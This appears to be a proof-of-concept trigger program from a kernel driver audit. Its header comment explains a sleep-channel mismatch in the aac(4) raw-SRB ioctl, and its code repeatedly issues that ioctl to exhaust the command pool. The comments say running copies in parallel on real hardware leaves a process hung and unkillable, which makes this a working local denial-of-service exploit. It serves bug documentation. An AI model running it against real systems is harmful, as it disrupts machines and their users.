/*
 * DF-3819 -- aac(4) FSACTL_SEND_RAW_SRB sleep-channel mismatch
 *
 * sys/dev/raid/aac/aac.c:aac_ioctl_send_raw_srb() does:
 *
 *      cm = NULL;
 *      ...
 *      event->ev_arg = &cm;                     (aac.c:3092)
 *      aac_add_event(sc, event);
 *      lksleep(cm, &sc->aac_io_lock, 0, "aacraw", 0);   (aac.c:3094)
 *
 * i.e. it sleeps on the channel whose value is `cm' == NULL, while the
 * CMFREE event callback aac_ioctl_event() later does wakeup(arg) with
 * arg == &cm (the kernel stack slot, aac.c:2970).  The channels never
 * match, so once the FIB pool is exhausted the ioctl thread sleeps
 * uninterruptibly (no PCATCH) forever -- unkillable D-state process.
 *
 * Compare the correct sibling in aac_ioctl_sendfib() (aac.c:3003):
 *      lksleep(&cm, &sc->aac_io_lock, 0, "sendfib", 0);
 *
 * This trigger simply attempts to reach the ioctl on /dev/aacd0.
 * On hardware: hammer the device with concurrent raw SRBs until the
 * FIB pool is exhausted -> the process hangs in "aacraw" forever.
 * On the audit guest (no Adaptec AAC PCI HBA): open() fails ENOENT,
 * proving the path is hardware-gated.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* Native encoding, sys/dev/raid/aac/aac_ioctl.h */
#define AAC_FSACTL_SEND_RAW_SRB   _IO('8', 19)   /* 0x20003813 */
/* Linux-compat encoding also dispatched by aac_ioctl() */
#define LNX_FSACTL_SEND_RAW_SRB   0x00021933     /* CTL_CODE(4,2067,BUFFERED,0) */

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/aacd0";
	unsigned char srb[128];
	void *ptr = srb;
	int i, fd;

	printf("DF-3819 trigger: device=%s\n", dev);
	fd = open(dev, O_RDWR);
	if (fd < 0) {
		printf("open(%s) failed: %s\n", dev, strerror(errno));
		printf("=> aac(4) control device absent (no AAC HBA attached);\n"
		       "   ioctl surface unreachable on this machine.\n");
		return (2);
	}
	printf("open ok; issuing FSACTL_SEND_RAW_SRB in a tight loop\n");
	printf("(on real hardware: run several of these in parallel until\n"
	       "the FIB pool is exhausted; the process then sleeps on chan\n"
	       "NULL and never wakes: ps state 'D', unkillable)\n");
	for (i = 0; i < 1000000; i++) {
		memset(srb, 0, sizeof(srb));
		/* user_srb->data_len (first u32) must be a valid fib size */
		*(u_int32_t *)&srb[0] = 64;		/* data_len  */
		if (ioctl(fd, AAC_FSACTL_SEND_RAW_SRB, &ptr) < 0) {
			if (i == 0)
				printf("ioctl#1: %s\n", strerror(errno));
		}
	}
	printf("survived %d ioctls (unexpected without hardware)\n", i);
	close(fd);
	return (0);
}
